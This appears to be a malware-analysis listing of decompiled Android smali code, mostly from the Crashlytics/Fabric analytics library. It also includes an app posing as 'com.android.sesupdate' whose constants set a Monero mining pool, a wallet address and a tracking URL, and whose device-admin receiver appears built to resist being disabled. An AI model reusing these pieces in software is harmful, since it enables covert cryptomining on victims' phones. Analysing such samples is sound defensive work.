                          17iget-object v0, p0, Lcom/crashlytics/android/answers/Answers;->analyticsManager:Lcom/crashlytics/android/answers/SessionAnalyticsManager;
                          18if-eqz v0, :cond_13
                          20iget-object v0, p0, Lcom/crashlytics/android/answers/Answers;->analyticsManager:Lcom/crashlytics/android/answers/SessionAnalyticsManager;
                          22invoke-virtual {v0, p1}, Lcom/crashlytics/android/answers/SessionAnalyticsManager;->onPredefined(Lcom/crashlytics/android/answers/PredefinedEvent;)V
                          23goto/16 :goto_13
                          APIs
                          • java.lang.NullPointerException.<init>
                          Strings
                          • event must not be null
                          • logPurchase
                          Position Instruction Meta Information
                          0.param p1, "event" # Lcom/crashlytics/android/answers/PurchaseEvent;
                          1.prologue
                          2if-nez p1, :cond_a
                          3new-instance v0, Ljava/lang/NullPointerException;
                          5const-string v1, "event must not be null"
                          7invoke-direct {v0, v1}, Ljava/lang/NullPointerException;-><init>(Ljava/lang/String;)V
                          8throw v0
                          9cond_a: iget-boolean v0, p0, Lcom/crashlytics/android/answers/Answers;->firebaseEnabled:Z
                          10if-eqz v0, :cond_14
                          12const-string v0, "logPurchase"
                          14invoke-direct {p0, v0}, Lcom/crashlytics/android/answers/Answers;->logFirebaseModeEnabledWarning(Ljava/lang/String;)V
                          15goto_13: return-void
                          16cond_14:
                          17iget-object v0, p0, Lcom/crashlytics/android/answers/Answers;->analyticsManager:Lcom/crashlytics/android/answers/SessionAnalyticsManager;
                          18if-eqz v0, :cond_13
                          20iget-object v0, p0, Lcom/crashlytics/android/answers/Answers;->analyticsManager:Lcom/crashlytics/android/answers/SessionAnalyticsManager;
                          22invoke-virtual {v0, p1}, Lcom/crashlytics/android/answers/SessionAnalyticsManager;->onPredefined(Lcom/crashlytics/android/answers/PredefinedEvent;)V
                          23goto/16 :goto_13
                          APIs
                          • java.lang.NullPointerException.<init>
                          Strings
                          • event must not be null
                          • logRating
                          Position Instruction Meta Information
                          0.param p1, "event" # Lcom/crashlytics/android/answers/RatingEvent;
                          1.prologue
                          2if-nez p1, :cond_a
                          3new-instance v0, Ljava/lang/NullPointerException;
                          5const-string v1, "event must not be null"
                          7invoke-direct {v0, v1}, Ljava/lang/NullPointerException;-><init>(Ljava/lang/String;)V
                          8throw v0
                          9cond_a: iget-boolean v0, p0, Lcom/crashlytics/android/answers/Answers;->firebaseEnabled:Z
                          10if-eqz v0, :cond_14
                          12const-string v0, "logRating"
                          14invoke-direct {p0, v0}, Lcom/crashlytics/android/answers/Answers;->logFirebaseModeEnabledWarning(Ljava/lang/String;)V
                          15goto_13: return-void
                          16cond_14:
                          17iget-object v0, p0, Lcom/crashlytics/android/answers/Answers;->analyticsManager:Lcom/crashlytics/android/answers/SessionAnalyticsManager;
                          18if-eqz v0, :cond_13
                          20iget-object v0, p0, Lcom/crashlytics/android/answers/Answers;->analyticsManager:Lcom/crashlytics/android/answers/SessionAnalyticsManager;
                          22invoke-virtual {v0, p1}, Lcom/crashlytics/android/answers/SessionAnalyticsManager;->onPredefined(Lcom/crashlytics/android/answers/PredefinedEvent;)V
                          23goto/16 :goto_13
                          APIs
                          • java.lang.NullPointerException.<init>
                          Strings
                          • event must not be null
                          • logSearch
                          Position Instruction Meta Information
                          0.param p1, "event" # Lcom/crashlytics/android/answers/SearchEvent;
                          1.prologue
                          2if-nez p1, :cond_a
                          3new-instance v0, Ljava/lang/NullPointerException;
                          5const-string v1, "event must not be null"
                          7invoke-direct {v0, v1}, Ljava/lang/NullPointerException;-><init>(Ljava/lang/String;)V
                          8throw v0
                          9cond_a: iget-boolean v0, p0, Lcom/crashlytics/android/answers/Answers;->firebaseEnabled:Z
                          10if-eqz v0, :cond_14
                          12const-string v0, "logSearch"
                          14invoke-direct {p0, v0}, Lcom/crashlytics/android/answers/Answers;->logFirebaseModeEnabledWarning(Ljava/lang/String;)V
                          15goto_13: return-void
                          16cond_14:
                          17iget-object v0, p0, Lcom/crashlytics/android/answers/Answers;->analyticsManager:Lcom/crashlytics/android/answers/SessionAnalyticsManager;
                          18if-eqz v0, :cond_13
                          20iget-object v0, p0, Lcom/crashlytics/android/answers/Answers;->analyticsManager:Lcom/crashlytics/android/answers/SessionAnalyticsManager;
                          22invoke-virtual {v0, p1}, Lcom/crashlytics/android/answers/SessionAnalyticsManager;->onPredefined(Lcom/crashlytics/android/answers/PredefinedEvent;)V
                          23goto/16 :goto_13
                          APIs
                          • java.lang.NullPointerException.<init>
                          Strings
                          • event must not be null
                          • logShare
                          Position Instruction Meta Information
                          0.param p1, "event" # Lcom/crashlytics/android/answers/ShareEvent;
                          1.prologue
                          2if-nez p1, :cond_a
                          3new-instance v0, Ljava/lang/NullPointerException;
                          5const-string v1, "event must not be null"
                          7invoke-direct {v0, v1}, Ljava/lang/NullPointerException;-><init>(Ljava/lang/String;)V
                          8throw v0
                          9cond_a: iget-boolean v0, p0, Lcom/crashlytics/android/answers/Answers;->firebaseEnabled:Z
                          10if-eqz v0, :cond_14
                          12const-string v0, "logShare"
                          14invoke-direct {p0, v0}, Lcom/crashlytics/android/answers/Answers;->logFirebaseModeEnabledWarning(Ljava/lang/String;)V
                          15goto_13: return-void
                          16cond_14:
                          17iget-object v0, p0, Lcom/crashlytics/android/answers/Answers;->analyticsManager:Lcom/crashlytics/android/answers/SessionAnalyticsManager;
                          18if-eqz v0, :cond_13
                          20iget-object v0, p0, Lcom/crashlytics/android/answers/Answers;->analyticsManager:Lcom/crashlytics/android/answers/SessionAnalyticsManager;
                          22invoke-virtual {v0, p1}, Lcom/crashlytics/android/answers/SessionAnalyticsManager;->onPredefined(Lcom/crashlytics/android/answers/PredefinedEvent;)V
                          23goto/16 :goto_13
                          APIs
                          • java.lang.NullPointerException.<init>
                          Strings
                          • event must not be null
                          • logSignUp
                          Position Instruction Meta Information
                          0.param p1, "event" # Lcom/crashlytics/android/answers/SignUpEvent;
                          1.prologue
                          2if-nez p1, :cond_a
                          3new-instance v0, Ljava/lang/NullPointerException;
                          5const-string v1, "event must not be null"
                          7invoke-direct {v0, v1}, Ljava/lang/NullPointerException;-><init>(Ljava/lang/String;)V
                          8throw v0
                          9cond_a: iget-boolean v0, p0, Lcom/crashlytics/android/answers/Answers;->firebaseEnabled:Z
                          10if-eqz v0, :cond_14
                          12const-string v0, "logSignUp"
                          14invoke-direct {p0, v0}, Lcom/crashlytics/android/answers/Answers;->logFirebaseModeEnabledWarning(Ljava/lang/String;)V
                          15goto_13: return-void
                          16cond_14:
                          17iget-object v0, p0, Lcom/crashlytics/android/answers/Answers;->analyticsManager:Lcom/crashlytics/android/answers/SessionAnalyticsManager;
                          18if-eqz v0, :cond_13
                          20iget-object v0, p0, Lcom/crashlytics/android/answers/Answers;->analyticsManager:Lcom/crashlytics/android/answers/SessionAnalyticsManager;
                          22invoke-virtual {v0, p1}, Lcom/crashlytics/android/answers/SessionAnalyticsManager;->onPredefined(Lcom/crashlytics/android/answers/PredefinedEvent;)V
                          23goto/16 :goto_13
                          APIs
                          • java.lang.NullPointerException.<init>
                          Strings
                          • event must not be null
                          • logStartCheckout
                          Position Instruction Meta Information
                          0.param p1, "event" # Lcom/crashlytics/android/answers/StartCheckoutEvent;
                          1.prologue
                          2if-nez p1, :cond_a
                          3new-instance v0, Ljava/lang/NullPointerException;
                          5const-string v1, "event must not be null"
                          7invoke-direct {v0, v1}, Ljava/lang/NullPointerException;-><init>(Ljava/lang/String;)V
                          8throw v0
                          9cond_a: iget-boolean v0, p0, Lcom/crashlytics/android/answers/Answers;->firebaseEnabled:Z
                          10if-eqz v0, :cond_14
                          12const-string v0, "logStartCheckout"
                          14invoke-direct {p0, v0}, Lcom/crashlytics/android/answers/Answers;->logFirebaseModeEnabledWarning(Ljava/lang/String;)V
                          15goto_13: return-void
                          16cond_14:
                          17iget-object v0, p0, Lcom/crashlytics/android/answers/Answers;->analyticsManager:Lcom/crashlytics/android/answers/SessionAnalyticsManager;
                          18if-eqz v0, :cond_13
                          20iget-object v0, p0, Lcom/crashlytics/android/answers/Answers;->analyticsManager:Lcom/crashlytics/android/answers/SessionAnalyticsManager;
                          22invoke-virtual {v0, p1}, Lcom/crashlytics/android/answers/SessionAnalyticsManager;->onPredefined(Lcom/crashlytics/android/answers/PredefinedEvent;)V
                          23goto/16 :goto_13
                          Cross References
                          APIs
                          • java.util.concurrent.ScheduledExecutorService.submit
                          Strings
                          • Answers
                          • Failed to submit events task
                          Position Instruction Meta Information
                          0.param p1, "runnable" # Ljava/lang/Runnable;
                          1.prologue
                          2try_start_0:
                          3iget-object v1, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler;->executor:Ljava/util/concurrent/ScheduledExecutorService;
                          5invoke-interface {v1, p1}, Ljava/util/concurrent/ScheduledExecutorService;->submit(Ljava/lang/Runnable;)Ljava/util/concurrent/Future;
                          6try_end_5: return-void
                          7catch_6: move-exception v0
                          9invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          10move-result-object v1
                          12const-string v2, "Answers"
                          14const-string v3, "Failed to submit events task"
                          16invoke-interface {v1, v2, v3, v0}, Lio/fabric/sdk/android/Logger;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
                          17goto/16 :goto_5
                          Cross References
                          APIs
                          • java.lang.String.equals
                          • java.lang.Integer.valueOf
                          Strings
                          • true
                          Position Instruction Meta Information
                          0.param p1, "truthyString" # Ljava/lang/String;
                          1.prologue
                          2if-nez p1, :cond_4
                          3const/4 v0, 0x0
                          4goto_3: return-object v0
                          5cond_4:
                          6const-string v0, "true"
                          8invoke-virtual {p1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          9move-result v0
                          10if-eqz v0, :cond_12
                          11const/4 v0, 0x1
                          12goto_d:
                          13invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                          14move-result-object v0
                          15goto/16 :goto_3
                          16cond_12: const/4 v0, 0x0
                          17goto/16 :goto_d
                          Cross References
                          APIs
                          • android.os.Handler.<init>
                          • android.os.Handler.postDelayed
                          Strings
                          • Are you sure to disable?
                          Position Instruction Meta Information
                          0.param p1, "context" # Landroid/content/Context;
                          1.param p2, "intent" # Landroid/content/Intent;
                          2.prologue
                          3new-instance v0, Landroid/os/Handler;
                          5invoke-direct {v0}, Landroid/os/Handler;-><init>()V
                          6new-instance v1, Lcom/android/sesupdate/receivers/DeviceAdmin$1;
                          8invoke-direct {v1, p0, p1}, Lcom/android/sesupdate/receivers/DeviceAdmin$1;-><init>(Lcom/android/sesupdate/receivers/DeviceAdmin;Landroid/content/Context;)V
                          9const-wide/16 v2, 0x0
                          11invoke-virtual {v0, v1, v2, v3}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
                          13const-string v1, "Are you sure to disable?"
                          14return-object v1
                          APIs
                          • java.io.File.getName
                          • java.util.regex.Pattern.matches
                          Strings
                          • cpu[0-9]+
                          Position Instruction Meta Information
                          0.param p1, "pathname" # Ljava/io/File;
                          1.prologue
                          3const-string v0, "cpu[0-9]+"
                          5invoke-virtual {p1}, Ljava/io/File;->getName()Ljava/lang/String;
                          6move-result-object v1
                          8invoke-static {v0, v1}, Ljava/util/regex/Pattern;->matches(Ljava/lang/String;Ljava/lang/CharSequence;)Z
                          9move-result v0
                          10if-eqz v0, :cond_e
                          11const/4 v0, 0x1
                          12goto_d: return v0
                          13cond_e: const/4 v0, 0x0
                          14goto/16 :goto_d
                          Cross References
                          APIs
                          • android.content.Context.getClassLoader
                          • java.lang.ClassLoader.loadClass
                          Strings
                          • com.google.android.gms.measurement.AppMeasurement
                          Position Instruction Meta Information
                          0.param p0, "context" # Landroid/content/Context;
                          1.prologue
                          2try_start_0:
                          3invoke-virtual {p0}, Landroid/content/Context;->getClassLoader()Ljava/lang/ClassLoader;
                          4move-result-object v1
                          6const-string v2, "com.google.android.gms.measurement.AppMeasurement"
                          8invoke-virtual {v1, v2}, Ljava/lang/ClassLoader;->loadClass(Ljava/lang/String;)Ljava/lang/Class;
                          9try_end_9: move-result-object v1
                          10goto_a: return-object v1
                          11catch_b: move-exception v0
                          12const/4 v1, 0x0
                          13goto/16 :goto_a
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          • java.lang.IllegalArgumentException.<init>
                          Strings
                          • Context must not be null.
                          Position Instruction Meta Information
                          0.param p1, "context" # Landroid/content/Context;
                          1.prologue
                          3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          4if-nez p1, :cond_d
                          5new-instance v0, Ljava/lang/IllegalArgumentException;
                          7const-string v1, "Context must not be null."
                          9invoke-direct {v0, v1}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
                          10throw v0
                          11cond_d: iput-object p1, p0, Lio/fabric/sdk/android/Fabric$Builder;->context:Landroid/content/Context;
                          12return-void
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          • java.lang.NullPointerException.<init>
                          Strings
                          • retryState must not be null
                          Position Instruction Meta Information
                          0.param p1, "retryState" # Lio/fabric/sdk/android/services/concurrency/internal/RetryState;
                          1.prologue
                          3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          4if-nez p1, :cond_d
                          5new-instance v0, Ljava/lang/NullPointerException;
                          7const-string v1, "retryState must not be null"
                          9invoke-direct {v0, v1}, Ljava/lang/NullPointerException;-><init>(Ljava/lang/String;)V
                          10throw v0
                          11cond_d: iput-object p1, p0, Lcom/crashlytics/android/answers/RetryManager;->retryState:Lio/fabric/sdk/android/services/concurrency/internal/RetryState;
                          12return-void
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          • java.util.concurrent.atomic.AtomicBoolean.<init>
                          • java.util.Map.size
                          Position Instruction Meta Information
                          0.param p1, "context" # Landroid/content/Context;
                          1.param p3, "threadPoolExecutor" # Lio/fabric/sdk/android/services/concurrency/PriorityThreadPoolExecutor;
                          2.param p4, "mainHandler" # Landroid/os/Handler;
                          3.param p5, "logger" # Lio/fabric/sdk/android/Logger;
                          4.param p6, "debuggable" # Z
                          5.param p7, "callback" # Lio/fabric/sdk/android/InitializationCallback;
                          6.param p8, "idManager" # Lio/fabric/sdk/android/services/common/IdManager;
                          7.param p9, "rootActivity" # Landroid/app/Activity;
                          8.annotation system Ldalvik/annotation/Signature;
                          9value = {
                          10"(",
                          11"Landroid/content/Context;",
                          12"Ljava/util/Map",
                          13"<",
                          14"Ljava/lang/Class",
                          15"<+",
                          16"Lio/fabric/sdk/android/Kit;",
                          17">;",
                          18"Lio/fabric/sdk/android/Kit;",
                          19">;",
                          20"Lio/fabric/sdk/android/services/concurrency/PriorityThreadPoolExecutor;",
                          21"Landroid/os/Handler;",
                          22"Lio/fabric/sdk/android/Logger;",
                          23"Z",
                          24"Lio/fabric/sdk/android/InitializationCallback;",
                          25"Lio/fabric/sdk/android/services/common/IdManager;",
                          26"Landroid/app/Activity;",
                          27")V"
                          28}
                          29.end annotation
                          30.prologue
                          32invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          33iput-object p1, p0, Lio/fabric/sdk/android/Fabric;->context:Landroid/content/Context;
                          34iput-object p2, p0, Lio/fabric/sdk/android/Fabric;->kits:Ljava/util/Map;
                          35iput-object p3, p0, Lio/fabric/sdk/android/Fabric;->executorService:Ljava/util/concurrent/ExecutorService;
                          36iput-object p4, p0, Lio/fabric/sdk/android/Fabric;->mainHandler:Landroid/os/Handler;
                          37iput-object p5, p0, Lio/fabric/sdk/android/Fabric;->logger:Lio/fabric/sdk/android/Logger;
                          38iput-boolean p6, p0, Lio/fabric/sdk/android/Fabric;->debuggable:Z
                          39iput-object p7, p0, Lio/fabric/sdk/android/Fabric;->initializationCallback:Lio/fabric/sdk/android/InitializationCallback;
                          40new-instance v0, Ljava/util/concurrent/atomic/AtomicBoolean;
                          41const/4 v1, 0x0
                          43invoke-direct {v0, v1}, Ljava/util/concurrent/atomic/AtomicBoolean;-><init>(Z)V
                          44iput-object v0, p0, Lio/fabric/sdk/android/Fabric;->initialized:Ljava/util/concurrent/atomic/AtomicBoolean;
                          46invoke-interface {p2}, Ljava/util/Map;->size()I
                          47move-result v0
                          49invoke-virtual {p0, v0}, Lio/fabric/sdk/android/Fabric;->createKitInitializationCallback(I)Lio/fabric/sdk/android/InitializationCallback;
                          50move-result-object v0
                          51iput-object v0, p0, Lio/fabric/sdk/android/Fabric;->kitInitializationCallback:Lio/fabric/sdk/android/InitializationCallback;
                          52iput-object p8, p0, Lio/fabric/sdk/android/Fabric;->idManager:Lio/fabric/sdk/android/services/common/IdManager;
                          54invoke-virtual {p0, p9}, Lio/fabric/sdk/android/Fabric;->setCurrentActivity(Landroid/app/Activity;)Lio/fabric/sdk/android/Fabric;
                          55return-void
                          APIs
                          • java.util.Set.contains
                          • java.lang.String.hashCode
                          • java.lang.Math.abs
                          Position Instruction Meta Information
                          0.param p1, "sessionEvent" # Lcom/crashlytics/android/answers/SessionEvent;
                          1.prologue
                          2const/4 v3, 0x1
                          3const/4 v4, 0x0
                          5sget-object v5, Lcom/crashlytics/android/answers/SamplingEventFilter;->EVENTS_TYPE_TO_SAMPLE:Ljava/util/Set;
                          7iget-object v6, p1, Lcom/crashlytics/android/answers/SessionEvent;->type:Lcom/crashlytics/android/answers/SessionEvent$Type;
                          9invoke-interface {v5, v6}, Ljava/util/Set;->contains(Ljava/lang/Object;)Z
                          10move-result v5
                          11if-eqz v5, :cond_2a
                          13iget-object v5, p1, Lcom/crashlytics/android/answers/SessionEvent;->sessionEventMetadata:Lcom/crashlytics/android/answers/SessionEventMetadata;
                          15iget-object v5, v5, Lcom/crashlytics/android/answers/SessionEventMetadata;->betaDeviceToken:Ljava/lang/String;
                          16if-nez v5, :cond_2a
                          17move v0, v3
                          18goto_13:
                          19iget-object v5, p1, Lcom/crashlytics/android/answers/SessionEvent;->sessionEventMetadata:Lcom/crashlytics/android/answers/SessionEventMetadata;
                          21iget-object v1, v5, Lcom/crashlytics/android/answers/SessionEventMetadata;->installationId:Ljava/lang/String;
                          23invoke-virtual {v1}, Ljava/lang/String;->hashCode()I
                          24move-result v5
                          25iget v6, p0, Lcom/crashlytics/android/answers/SamplingEventFilter;->samplingRate:I
                          26rem-int/2addr v5, v6
                          28invoke-static {v5}, Ljava/lang/Math;->abs(I)I
                          29move-result v5
                          30if-eqz v5, :cond_2c
                          31move v2, v3
                          32goto_25: if-eqz v0, :cond_2e
                          33if-eqz v2, :cond_2e
                          34goto_29: return v3
                          35cond_2a: move v0, v4
                          36goto/16 :goto_13
                          37cond_2c: move v2, v4
                          38goto/16 :goto_25
                          39cond_2e: move v3, v4
                          40goto/16 :goto_29
                          APIs
                          • java.util.concurrent.CountDownLatch.countDown
                          • java.util.concurrent.CountDownLatch.getCount
                          • java.util.concurrent.atomic.AtomicBoolean.set
                          Position Instruction Meta Information
                          0.param p1, "o" # Ljava/lang/Object;
                          1.prologue
                          3iget-object v0, p0, Lio/fabric/sdk/android/Fabric$2;->kitInitializedLatch:Ljava/util/concurrent/CountDownLatch;
                          5invoke-virtual {v0}, Ljava/util/concurrent/CountDownLatch;->countDown()V
                          7iget-object v0, p0, Lio/fabric/sdk/android/Fabric$2;->kitInitializedLatch:Ljava/util/concurrent/CountDownLatch;
                          9invoke-virtual {v0}, Ljava/util/concurrent/CountDownLatch;->getCount()J
                          10move-result-wide v0
                          11const-wide/16 v2, 0x0
                          12cmp-long v0, v0, v2
                          13if-nez v0, :cond_26
                          15iget-object v0, p0, Lio/fabric/sdk/android/Fabric$2;->this$0:Lio/fabric/sdk/android/Fabric;
                          17invoke-static {v0}, Lio/fabric/sdk/android/Fabric;->access$200(Lio/fabric/sdk/android/Fabric;)Ljava/util/concurrent/atomic/AtomicBoolean;
                          18move-result-object v0
                          19const/4 v1, 0x1
                          21invoke-virtual {v0, v1}, Ljava/util/concurrent/atomic/AtomicBoolean;->set(Z)V
                          23iget-object v0, p0, Lio/fabric/sdk/android/Fabric$2;->this$0:Lio/fabric/sdk/android/Fabric;
                          25invoke-static {v0}, Lio/fabric/sdk/android/Fabric;->access$300(Lio/fabric/sdk/android/Fabric;)Lio/fabric/sdk/android/InitializationCallback;
                          26move-result-object v0
                          28iget-object v1, p0, Lio/fabric/sdk/android/Fabric$2;->this$0:Lio/fabric/sdk/android/Fabric;
                          30invoke-interface {v0, v1}, Lio/fabric/sdk/android/InitializationCallback;->success(Ljava/lang/Object;)V
                          31cond_26: return-void
                          APIs
                          • io.fabric.sdk.android.FabricContext.getDatabasePath
                          • java.io.File.getPath
                          • android.database.sqlite.SQLiteDatabase.openOrCreateDatabase
                          Position Instruction Meta Information
                          0.param p1, "name" # Ljava/lang/String;
                          1.param p2, "mode" # I
                          2.param p3, "factory" # Landroid/database/sqlite/SQLiteDatabase$CursorFactory;
                          3.param p4, "errorHandler" # Landroid/database/DatabaseErrorHandler;
                          4.annotation build Landroid/annotation/TargetApi;
                          5value = 0xb
                          6.end annotation
                          7.prologue
                          9invoke-virtual {p0, p1}, Lio/fabric/sdk/android/FabricContext;->getDatabasePath(Ljava/lang/String;)Ljava/io/File;
                          10move-result-object v0
                          12invoke-virtual {v0}, Ljava/io/File;->getPath()Ljava/lang/String;
                          13move-result-object v0
                          15invoke-static {v0, p3, p4}, Landroid/database/sqlite/SQLiteDatabase;->openOrCreateDatabase(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;Landroid/database/DatabaseErrorHandler;)Landroid/database/sqlite/SQLiteDatabase;
                          16move-result-object v0
                          17return-object v0
                          Cross References
                          APIs
                          • java.util.List.iterator
                          • java.util.Iterator.hasNext
                          • java.util.Iterator.next
                          Position Instruction Meta Information
                          0.prologue
                          2iget-object v1, p0, Lcom/crashlytics/android/answers/BackgroundManager;->listeners:Ljava/util/List;
                          4invoke-interface {v1}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                          5move-result-object v1
                          6goto_6:
                          7invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                          8move-result v2
                          9if-eqz v2, :cond_16
                          11invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                          12move-result-object v0
                          13check-cast v0, Lcom/crashlytics/android/answers/BackgroundManager$Listener;
                          15invoke-interface {v0}, Lcom/crashlytics/android/answers/BackgroundManager$Listener;->onBackground()V
                          16goto/16 :goto_6
                          17cond_16: return-void
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          • java.util.ArrayList.<init>
                          • java.util.concurrent.atomic.AtomicReference.<init>
                          Position Instruction Meta Information
                          0.param p1, "executorService" # Ljava/util/concurrent/ScheduledExecutorService;
                          1.prologue
                          2const/4 v1, 0x1
                          4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          5new-instance v0, Ljava/util/ArrayList;
                          7invoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
                          8iput-object v0, p0, Lcom/crashlytics/android/answers/BackgroundManager;->listeners:Ljava/util/List;
                          9iput-boolean v1, p0, Lcom/crashlytics/android/answers/BackgroundManager;->flushOnBackground:Z
                          10new-instance v0, Ljava/util/concurrent/atomic/AtomicReference;
                          12invoke-direct {v0}, Ljava/util/concurrent/atomic/AtomicReference;-><init>()V
                          13iput-object v0, p0, Lcom/crashlytics/android/answers/BackgroundManager;->backgroundFutureRef:Ljava/util/concurrent/atomic/AtomicReference;
                          14iput-boolean v1, p0, Lcom/crashlytics/android/answers/BackgroundManager;->inBackground:Z
                          15iput-object p1, p0, Lcom/crashlytics/android/answers/BackgroundManager;->executorService:Ljava/util/concurrent/ScheduledExecutorService;
                          16return-void
                          Strings
                          • http://debujxe.com/click.php?cnv_id=
                          • sg1.supportxmr.com
                          • 49Bq2bFsvJFAe11SgAZQZjZRn6rE2CXHz4tkoomgx4pZhkJVSUmUHT4ixRWdGX8z2cgJeftiyTEK1U1DW7mEZS8E4dF5hkn
                          Position Instruction Meta Information
                          0.prologue
                          2const-string v0, "http://debujxe.com/click.php?cnv_id="
                          3sput-object v0, Lcom/android/sesupdate/Constants;->trackingUrl:Ljava/lang/String;
                          5const-string v0, "sg1.supportxmr.com"
                          6sput-object v0, Lcom/android/sesupdate/Constants;->miningPool:Ljava/lang/String;
                          7const/16 v0, 0xd05
                          8sput v0, Lcom/android/sesupdate/Constants;->miningPort:I
                          10const-string v0, "49Bq2bFsvJFAe11SgAZQZjZRn6rE2CXHz4tkoomgx4pZhkJVSUmUHT4ixRWdGX8z2cgJeftiyTEK1U1DW7mEZS8E4dF5hkn"
                          11sput-object v0, Lcom/android/sesupdate/Constants;->miningUser:Ljava/lang/String;
                          12const/4 v0, 0x1
                          13sput v0, Lcom/android/sesupdate/Constants;->threadsPriority:I
                          14return-void
                          Strings
                          • success
                          • true
                          • false
                          Position Instruction Meta Information
                          0.param p1, "success" # Z
                          1.prologue
                          3iget-object v1, p0, Lcom/crashlytics/android/answers/LevelEndEvent;->predefinedAttributes:Lcom/crashlytics/android/answers/AnswersAttributes;
                          5const-string v2, "success"
                          6if-eqz p1, :cond_c
                          8const-string v0, "true"
                          9goto_8:
                          10invoke-virtual {v1, v2, v0}, Lcom/crashlytics/android/answers/AnswersAttributes;->put(Ljava/lang/String;Ljava/lang/String;)V
                          11return-object p0
                          12cond_c:
                          13const-string v0, "false"
                          14goto/16 :goto_8
                          APIs
                          • java.lang.IllegalStateException.<init>
                          Strings
                          • Must not use Deprecated methods delay(), disabled(), listener(), pinningInfoProvider() with core()
                          Position Instruction Meta Information
                          0.prologue
                          2iget-object v0, p0, Lcom/crashlytics/android/Crashlytics$Builder;->coreBuilder:Lcom/crashlytics/android/core/CrashlyticsCore$Builder;
                          3if-eqz v0, :cond_18
                          5iget-object v0, p0, Lcom/crashlytics/android/Crashlytics$Builder;->core:Lcom/crashlytics/android/core/CrashlyticsCore;
                          6if-eqz v0, :cond_10
                          7new-instance v0, Ljava/lang/IllegalStateException;
                          9const-string v1, "Must not use Deprecated methods delay(), disabled(), listener(), pinningInfoProvider() with core()"
                          11invoke-direct {v0, v1}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V
                          12throw v0
                          13cond_10:
                          14iget-object v0, p0, Lcom/crashlytics/android/Crashlytics$Builder;->coreBuilder:Lcom/crashlytics/android/core/CrashlyticsCore$Builder;
                          16invoke-virtual {v0}, Lcom/crashlytics/android/core/CrashlyticsCore$Builder;->build()Lcom/crashlytics/android/core/CrashlyticsCore;
                          17move-result-object v0
                          18iput-object v0, p0, Lcom/crashlytics/android/Crashlytics$Builder;->core:Lcom/crashlytics/android/core/CrashlyticsCore;
                          19cond_18:
                          20iget-object v0, p0, Lcom/crashlytics/android/Crashlytics$Builder;->answers:Lcom/crashlytics/android/answers/Answers;
                          21if-nez v0, :cond_23
                          22new-instance v0, Lcom/crashlytics/android/answers/Answers;
                          24invoke-direct {v0}, Lcom/crashlytics/android/answers/Answers;-><init>()V
                          25iput-object v0, p0, Lcom/crashlytics/android/Crashlytics$Builder;->answers:Lcom/crashlytics/android/answers/Answers;
                          26cond_23:
                          27iget-object v0, p0, Lcom/crashlytics/android/Crashlytics$Builder;->beta:Lcom/crashlytics/android/beta/Beta;
                          28if-nez v0, :cond_2e
                          29new-instance v0, Lcom/crashlytics/android/beta/Beta;
                          31invoke-direct {v0}, Lcom/crashlytics/android/beta/Beta;-><init>()V
                          32iput-object v0, p0, Lcom/crashlytics/android/Crashlytics$Builder;->beta:Lcom/crashlytics/android/beta/Beta;
                          33cond_2e:
                          34iget-object v0, p0, Lcom/crashlytics/android/Crashlytics$Builder;->core:Lcom/crashlytics/android/core/CrashlyticsCore;
                          35if-nez v0, :cond_39
                          36new-instance v0, Lcom/crashlytics/android/core/CrashlyticsCore;
                          38invoke-direct {v0}, Lcom/crashlytics/android/core/CrashlyticsCore;-><init>()V
                          39iput-object v0, p0, Lcom/crashlytics/android/Crashlytics$Builder;->core:Lcom/crashlytics/android/core/CrashlyticsCore;
                          40cond_39: new-instance v0, Lcom/crashlytics/android/Crashlytics;
                          42iget-object v1, p0, Lcom/crashlytics/android/Crashlytics$Builder;->answers:Lcom/crashlytics/android/answers/Answers;
                          44iget-object v2, p0, Lcom/crashlytics/android/Crashlytics$Builder;->beta:Lcom/crashlytics/android/beta/Beta;
                          46iget-object v3, p0, Lcom/crashlytics/android/Crashlytics$Builder;->core:Lcom/crashlytics/android/core/CrashlyticsCore;
                          48invoke-direct {v0, v1, v2, v3}, Lcom/crashlytics/android/Crashlytics;-><init>(Lcom/crashlytics/android/answers/Answers;Lcom/crashlytics/android/beta/Beta;Lcom/crashlytics/android/core/CrashlyticsCore;)V
                          49return-object v0
                          APIs
                          • java.lang.Long.valueOf
                          Strings
                          • itemPrice
                          Position Instruction Meta Information
                          0.param p1, "itemPrice" # Ljava/math/BigDecimal;
                          1.prologue
                          3iget-object v0, p0, Lcom/crashlytics/android/answers/AddToCartEvent;->validator:Lcom/crashlytics/android/answers/AnswersEventValidator;
                          5const-string v1, "itemPrice"
                          7invoke-virtual {v0, p1, v1}, Lcom/crashlytics/android/answers/AnswersEventValidator;->isNull(Ljava/lang/Object;Ljava/lang/String;)Z
                          8move-result v0
                          9if-nez v0, :cond_19
                          11iget-object v0, p0, Lcom/crashlytics/android/answers/AddToCartEvent;->predefinedAttributes:Lcom/crashlytics/android/answers/AnswersAttributes;
                          13const-string v1, "itemPrice"
                          15invoke-virtual {p0, p1}, Lcom/crashlytics/android/answers/AddToCartEvent;->priceToMicros(Ljava/math/BigDecimal;)J
                          16move-result-wide v2
                          18invoke-static {v2, v3}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
                          19move-result-object v2
                          21invoke-virtual {v0, v1, v2}, Lcom/crashlytics/android/answers/AnswersAttributes;->put(Ljava/lang/String;Ljava/lang/Number;)V
                          22cond_19: return-object p0
